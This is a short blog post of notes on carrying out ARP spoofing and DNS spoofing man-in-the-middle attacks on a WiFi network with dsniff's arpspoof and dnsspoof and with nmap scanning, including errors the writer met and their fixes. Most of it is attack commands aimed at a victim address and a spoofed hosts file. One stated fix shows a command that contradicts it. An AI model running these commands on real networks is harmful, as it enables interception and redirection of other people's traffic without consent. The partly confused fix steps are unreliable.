Steps of DNS Spoofing and MITM Attack on WiFi. Problems and solutions found are included
ARP
view or alter the contents of the kernel's ARP tables, for example when you suspect a duplicate Internet address is the cause for some intermittent network problem.
# arp -a IP address HW type HW address 172.16.1.3 10Mbps Ethernet 00:00:C0:5A:42:C1 172.16.1.2 10Mbps Ethernet 00:00:C0:90:B3:42 172.16.2.4 10Mbps Ethernet 00:00:C0:04:69:AA
DNS Spoofing
ARP Spoof
Install dsniff to run arpspoof
root@local:/# apt-get install dsniff
arpspoof: couldn't arp for host 192.168.1.121
Error found when arpspoof
root@local:/# arpspoof -i wlan0 -t 192.168.1.121 192.168.1.1 arpspoof: couldn't arp for host 192.168.1.121
Solution add -i <wireless interface>
parameter
root@local:/# arpspoof -t 192.168.1.121 192.168.1.1 arpspoof: couldn't arp for host 192.168.1.121
dnsspoof: eth0: no IPv4 address assigned
Error found below
root@local:/# dnsspoof -f /home/hosts-spoff.txt host 192.168.1.121 and udp port 53 dnsspoof: eth0: no IPv4 address assigned dnsspoof: couldn't initialize sniffing
Solution: add -i <wireless interface>
parameter
root@local:/# dnsspoof -i wlan0 -f /home/hosts-spoff.txt host 192.168.1.121 and udp port 53
Scanning connected devices
Scan connected devices in the network to obtain IP and MAC address
root@local:/# nmap -sP 192.168.1.0/24
No comments:
Post a Comment